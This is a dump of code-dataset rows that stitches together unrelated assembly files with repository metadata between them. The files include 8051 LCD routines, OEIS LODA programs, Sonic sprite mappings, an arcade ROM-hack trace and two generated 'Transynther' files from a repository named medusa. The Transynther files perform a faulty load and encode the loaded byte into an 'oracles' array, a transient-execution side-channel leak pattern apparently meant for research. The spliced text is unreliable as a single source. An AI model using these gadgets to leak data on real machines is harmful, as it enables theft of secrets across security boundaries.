CLR P1.3
RET
READY: SETB P2.7
CLR P1.1
SETB P1.2
BUSY: CLR P1.3
SETB P1.3
JB P2.7,BUSY
NOP
CLR P1.3
RET
DISPLAY:LCALL READY
CLR P1.2
SETB P1.1
MOV P2,A
SETB P1.3
NOP
CLR P1.3
RET
DELAY: MOV R7,#01H
WAITC: MOV R6,#0FFH
WAITB: MOV R5,#0FFH
WAITA: DJNZ R5,WAITA
DJNZ R6,WAITB
DJNZ R7,WAITC
RET
CLEAR: MOV A,#01H
LCALL COMMAND
RET
LINE1: MOV A,#80H
LCALL COMMAND
RET
LINE2: MOV A,#0C0H
LCALL COMMAND
RET
ORG 0F80H
;DB 'hey mel !!!'
;DB 'Be The Change You Want To See!'
DB 'A GREAT MIND CAN SOAR HIGH IN IMAGINATION YET BE FIRMLY GROUNDED'
END | 10.985714 | 71 | 0.656047 |
20dbe2c2e3951db20d29a489340ffc9cb6dcfa9d | 840 | asm | Assembly | 16-print-array/print-array.asm | gashev/assembly-examples | 3e7e5d37af00e6d6202a589ffa36a888edb5be16 | [
"Unlicense"
] | 1 | 2021-01-06T01:45:37.000Z | 2021-01-06T01:45:37.000Z | 16-print-array/print-array.asm | gashev/assembly-examples | 3e7e5d37af00e6d6202a589ffa36a888edb5be16 | [
"Unlicense"
] | null | null | null | 16-print-array/print-array.asm | gashev/assembly-examples | 3e7e5d37af00e6d6202a589ffa36a888edb5be16 | [
"Unlicense"
] | null | null | null | extern exit
extern printf
SECTION .data
format: db '%d', 10, 0
SECTION .bss
index: resb 4
SECTION .text
GLOBAL _start
_start:
; Store array 23, 54, 67, 134, 65, 10, 19, 12
mov rbp, rsp
sub rsp, 32
mov dword [rbp - 32], 23
mov dword [rbp - 28], 54
mov dword [rbp - 24], 67
mov dword [rbp - 20], 134
mov dword [rbp - 16], 65
mov dword [rbp - 12], 10
mov dword [rbp - 8], 19
mov dword [rbp - 4], 12
start_loop:
; Init index.
mov [index], rsp
loop:
mov r10, [index]
mov rax, [r10]
; Print array item
mov rsi, rax ; Store number
mov rdi, format ; Output format
mov rax, 0
call printf
mov rax, [index]
add rax, 4
mov [index], rax
cmp [index], rbp
jl loop
end:
; Exit application.
mov rdi, 0
call exit
| 16.470588 | 49 | 0.553571 |
265dcbc32f48f4e2a379a700b690e22bfdfad65d | 682 | asm | Assembly | programs/oeis/001/A001445.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/001/A001445.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/001/A001445.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A001445: a(n) = (2^n + 2^[ n/2 ] )/2.
; 3,5,10,18,36,68,136,264,528,1040,2080,4128,8256,16448,32896,65664,131328,262400,524800,1049088,2098176,4195328,8390656,16779264,33558528,67112960,134225920,268443648,536887296,1073758208,2147516416,4295000064,8590000128,17179934720,34359869440,68719607808,137439215616,274878169088,549756338176,1099512152064,2199024304128,4398047559680,8796095119360,17592188141568,35184376283136,70368748371968,140737496743936,281474985099264,562949970198528,1125899923619840,2251799847239680,4503599660924928,9007199321849856
mov $1,2
mov $2,$0
mov $3,1
lpb $2,1
mul $1,2
lpb $3,1
add $1,1
mov $3,$2
lpe
sub $2,1
add $3,1
lpe
add $1,1
| 40.117647 | 513 | 0.784457 |
d3d835673aa03635bd67c084ea629b153c2d4fc6 | 384 | asm | Assembly | libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sccz80/tshc_cls_wc_attr_callee.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sccz80/tshc_cls_wc_attr_callee.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sccz80/tshc_cls_wc_attr_callee.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; void tshc_cls_wc_attr(struct r_Rect8 *r, uchar attr)
SECTION code_clib
SECTION code_arch
PUBLIC tshc_cls_wc_attr_callee
EXTERN asm_tshc_cls_wc_attr
tshc_cls_wc_attr_callee:
pop af
pop hl
pop ix
push af
jp asm_tshc_cls_wc_attr
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _tshc_cls_wc_attr_callee
defc _tshc_cls_wc_attr_callee = tshc_cls_wc_attr_callee
ENDIF
| 15.36 | 55 | 0.815104 |
e559c43bcaf5b3520f3c5f07fc3faac92f6bd543 | 221 | asm | Assembly | programs/oeis/243/A243554.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/243/A243554.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/243/A243554.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A243554: Number of simple connected graphs with n nodes that are distance-regular and have no subgraph isomorphic to bull graph.
; 1,1,1,2,1,2,1,3,1,4
mov $2,-2
bin $2,$0
div $2,2
sub $0,$2
mul $0,5
div $0,22
add $0,1
| 20.090909 | 130 | 0.687783 |
21b97bd059158dbba0a957f5e18cdb36339b6790 | 754 | asm | Assembly | oeis/025/A025577.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/025/A025577.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/025/A025577.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A025577: Expansion of (x/(1-x))*sqrt((1+x)/(1-3*x)).
; Submitted by Christian Krause
; 1,3,7,17,43,113,305,839,2339,6585,18677,53283,152725,439455,1268623,3672457,10656691,30988249,90275989,263425651,769801873,2252531971,6599018227,19353381877,56814946381,166940119063,490930181515,1444813563869,4255124073979,12540040058705,36978741456465,109107360080087,322098445008531,951352176441081,2811246232045317,8310923469305859,24579977768038945,72725278525298547,215254244888848627,637341110540456885,1887722395979791129,5592976754205731963,16576003429055711471,49140807617401966361
lpb $0
mov $2,$0
sub $0,1
seq $2,5773 ; Number of directed animals of size n (or directed n-ominoes in standard position).
add $1,$2
lpe
mov $0,$1
mul $0,2
add $0,1
| 53.857143 | 492 | 0.814324 |
da88a498283271c56745dd8b1235f54bd53ed8c7 | 566 | asm | Assembly | oeis/061/A061785.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/061/A061785.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/061/A061785.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A061785: a(n) = m such that 2^m < 5^n < 2^(m+1).
; Submitted by Jon Maiga
; 2,4,6,9,11,13,16,18,20,23,25,27,30,32,34,37,39,41,44,46,48,51,53,55,58,60,62,65,67,69,71,74,76,78,81,83,85,88,90,92,95,97,99,102,104,106,109,111,113,116,118,120,123,125,127,130,132,134,136,139,141,143,146,148,150,153,155,157,160,162,164,167,169,171,174,176,178,181,183,185,188,190,192,195,197,199,202,204,206,208,211,213,215,218,220,222,225,227,229,232
lpb $0
mov $2,$0
sub $0,1
seq $2,22922 ; Number of integers m such that 5^n < 2^m < 5^(n+1).
add $3,$2
lpe
mov $0,$3
add $0,2
| 43.538462 | 354 | 0.65371 |
b0d746d68ddb5ba933858c1f3cfd09c4dcfab9af | 649 | asm | Assembly | Working Disassembly/Levels/DEZ/Misc Object Data/Map - Energy Bridge Curved.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 7e8a2c5df02271615ff4cae529521e6b1560d6b1 | [
"Apache-2.0"
] | null | null | null | Working Disassembly/Levels/DEZ/Misc Object Data/Map - Energy Bridge Curved.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 7e8a2c5df02271615ff4cae529521e6b1560d6b1 | [
"Apache-2.0"
] | null | null | null | Working Disassembly/Levels/DEZ/Misc Object Data/Map - Energy Bridge Curved.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 7e8a2c5df02271615ff4cae529521e6b1560d6b1 | [
"Apache-2.0"
] | null | null | null | Map_48038: dc.w word_48040-Map_48038
dc.w word_48054-Map_48038
dc.w word_48068-Map_48038
dc.w word_4807C-Map_48038
word_48040: dc.w 3
dc.b $20, 0, 0, 8, $FF, $C4
dc.b $1F, 0, 0, 8, 0, 4
dc.b 1, 0, 0, 8, 0, $35
word_48054: dc.w 3
dc.b $20, 0, 0, 8, $FF, $D4
dc.b $1C, 0, 0, 8, 0, $13
dc.b $F3, 0, 0, 8, 0, $3C
word_48068: dc.w 3
dc.b $20, 0, 0, 8, $FF, $E4
dc.b $15, 0, 0, 8, 0, $21
dc.b $E4, 0, 0, 8, 0, $3F
word_4807C: dc.w 2
dc.b $20, 0, 0, 8, $FF, $F4
dc.b $C, 0, 0, 8, 0, $2C
word_4808A: dc.w $F000
dc.w $F600
| 29.5 | 37 | 0.460709 |
3e0f656d25386686b1a7f0bdae219cd6c55f53c3 | 171 | asm | Assembly | test/test.std.outln.asm | richRemer/atlatl | 169c0c9c29d277dc1295e6c37b0963af6e02741a | [
"MIT"
] | null | null | null | test/test.std.outln.asm | richRemer/atlatl | 169c0c9c29d277dc1295e6c37b0963af6e02741a | [
"MIT"
] | null | null | null | test/test.std.outln.asm | richRemer/atlatl | 169c0c9c29d277dc1295e6c37b0963af6e02741a | [
"MIT"
] | null | null | null | global test_case
extern std.outln
section .text
test_case:
lea rax, [test_str] ; message
call std.outln
ret
section .data
test_str: db "Foo", 0x0
| 13.153846 | 37 | 0.654971 |
693b37b9d65a81f71a622bdb1ba245b57054a7fd | 3,036 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_189_730.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_189_730.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_189_730.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Load
lea addresses_normal+0x1da59, %rdx
clflush (%rdx)
nop
nop
and %rbp, %rbp
mov (%rdx), %ax
nop
and %rdx, %rdx
// REPMOV
lea addresses_normal+0x1621a, %rsi
lea addresses_normal+0xf7d9, %rdi
nop
nop
nop
nop
sub %rdx, %rdx
mov $111, %rcx
rep movsb
nop
nop
sub %rcx, %rcx
// Load
lea addresses_US+0x154d9, %rdi
nop
nop
cmp $1610, %rsi
movb (%rdi), %r11b
nop
nop
inc %r11
// Store
lea addresses_A+0x17bd9, %r9
clflush (%r9)
nop
nop
nop
nop
add $52259, %rsi
movw $0x5152, (%r9)
nop
nop
nop
nop
add $44628, %rsi
// Store
lea addresses_A+0x785d, %rcx
nop
nop
nop
nop
and %rsi, %rsi
movl $0x51525354, (%rcx)
dec %rcx
// Store
mov $0xbd9, %r11
cmp %rcx, %rcx
mov $0x5152535455565758, %rbp
movq %rbp, (%r11)
nop
cmp %rax, %rax
// Store
lea addresses_PSE+0xf3d9, %rdi
nop
nop
nop
inc %rax
mov $0x5152535455565758, %r9
movq %r9, (%rdi)
cmp $7593, %rax
// Faulty Load
lea addresses_A+0x17bd9, %rdx
nop
nop
nop
nop
cmp %rcx, %rcx
mov (%rdx), %eax
lea oracles, %rdi
and $0xff, %rax
shlq $12, %rax
mov (%rdi,%rax,1), %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 9, 'same': False}}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_US', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_P', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_PSE', 'size': 8, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'58': 189}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 23 | 566 | 0.641304 |
a280eb08f04582d7dd39fcd49421b56547180621 | 147 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_make.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_make.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_make.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: zel_make.asm
Type: file
Size: 281129
Last-Modified: '2016-05-13T04:25:37Z'
SHA-1: D1305DB30408E08C6D282C3C06178136F742EBB2
Description: null
| 21 | 47 | 0.816327 |
b26e4fb30f85b0cc4420c9b347ab02f8807759f3 | 562 | asm | Assembly | oeis/029/A029858.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/029/A029858.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/029/A029858.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A029858: a(n) = (3^n - 3)/2.
; 0,3,12,39,120,363,1092,3279,9840,29523,88572,265719,797160,2391483,7174452,21523359,64570080,193710243,581130732,1743392199,5230176600,15690529803,47071589412,141214768239,423644304720,1270932914163,3812798742492,11438396227479,34315188682440,102945566047323,308836698141972,926510094425919,2779530283277760,8338590849833283,25015772549499852,75047317648499559,225141952945498680,675425858836496043,2026277576509488132,6078832729528464399,18236498188585393200,54709494565756179603
mov $1,3
pow $1,$0
div $1,2
mul $1,3
mov $0,$1
| 62.444444 | 482 | 0.848754 |
f47f28223dbcc972899180402596633f47f743aa | 5,199 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1223.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1223.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1223.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xe1eb, %rdi
nop
nop
nop
and $11663, %r11
movb (%rdi), %r13b
nop
nop
nop
nop
nop
cmp $50387, %rsi
lea addresses_A_ht+0x1d92b, %rax
add $58206, %r15
movups (%rax), %xmm0
vpextrq $1, %xmm0, %rbp
nop
nop
dec %r15
lea addresses_D_ht+0x1a5ab, %r11
nop
nop
nop
nop
nop
and %rdi, %rdi
mov (%r11), %si
nop
nop
nop
nop
add %rbp, %rbp
lea addresses_WC_ht+0xa22b, %rsi
lea addresses_D_ht+0x15178, %rdi
nop
nop
nop
nop
sub %r13, %r13
mov $14, %rcx
rep movsw
nop
nop
nop
cmp %rbp, %rbp
lea addresses_WC_ht+0x18ab, %rsi
lea addresses_WT_ht+0xd72b, %rdi
nop
nop
nop
cmp %rax, %rax
mov $53, %rcx
rep movsl
add $36138, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r9
push %rbx
push %rsi
// Faulty Load
lea addresses_WC+0x172b, %r13
clflush (%r13)
nop
nop
nop
nop
dec %rbx
vmovups (%r13), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %r10
lea oracles, %rbx
and $0xff, %r10
shlq $12, %r10
mov (%rbx,%r10,1), %r10
pop %rsi
pop %rbx
pop %r9
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 43.325 | 2,999 | 0.660704 |
5630ce173000faf6f1e74b13d9bc793bf3ccccea | 640 | asm | Assembly | oeis/027/A027603.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/027/A027603.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/027/A027603.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A027603: a(n) = n^3 + (n+1)^3 + (n+2)^3 + (n+3)^3.
; 36,100,224,432,748,1196,1800,2584,3572,4788,6256,8000,10044,12412,15128,18216,21700,25604,29952,34768,40076,45900,52264,59192,66708,74836,83600,93024,103132,113948,125496,137800,150884,164772,179488,195056,211500,228844,247112,266328,286516,307700,329904,353152,377468,402876,429400,457064,485892,515908,547136,579600,613324,648332,684648,722296,761300,801684,843472,886688,931356,977500,1025144,1074312,1125028,1177316,1231200,1286704,1343852,1402668,1463176,1525400,1589364,1655092,1722608,1791936
add $0,2
mov $1,$0
mul $0,2
sub $0,1
bin $1,2
add $1,2
mul $1,$0
mov $0,$1
mul $0,4
| 49.230769 | 501 | 0.764063 |
27acf08f135fa798c1e5556e28c66f395ddb9594 | 300 | asm | Assembly | oeis/021/A021258.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/021/A021258.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/021/A021258.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A021258: Decimal expansion of 1/254.
; 0,0,3,9,3,7,0,0,7,8,7,4,0,1,5,7,4,8,0,3,1,4,9,6,0,6,2,9,9,2,1,2,5,9,8,4,2,5,1,9,6,8,5,0,3,9,3,7,0,0,7,8,7,4,0,1,5,7,4,8,0,3,1,4,9,6,0,6,2,9,9,2,1,2,5,9,8,4,2,5,1,9,6,8,5,0,3,9,3,7,0,0,7,8,7,4,0,1,5
add $0,1
mov $2,10
pow $2,$0
div $2,254
mov $0,$2
mod $0,10
| 30 | 199 | 0.54 |
425edc2fb03a99efd2c5e46f969433d50470738b | 2,345 | asm | Assembly | dino/lcs/etc/AC.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | dino/lcs/etc/AC.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | dino/lcs/etc/AC.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D3E move.l D0, (A4)+
004D40 dbra D1, $4d38
07BEF0 move.l A6, ($aa,A0) [etc+20]
07BEF4 rts [etc+AC]
084BEE move.l A0, ($ac,A6)
084BF2 moveq #$0, D0 [etc+AC, etc+AE]
084C50 move.l A0, ($ac,A6)
084C54 moveq #$0, D0 [etc+AC, etc+AE]
086FCC clr.b ($ac,A6)
086FD0 move.w ($26,A6), D2
088900 move.l (A0), ($ac,A6) [etc+A8, etc+AA]
088904 clr.b ($a4,A6) [etc+AC, etc+AE]
0889AC movea.l ($ac,A6), A1
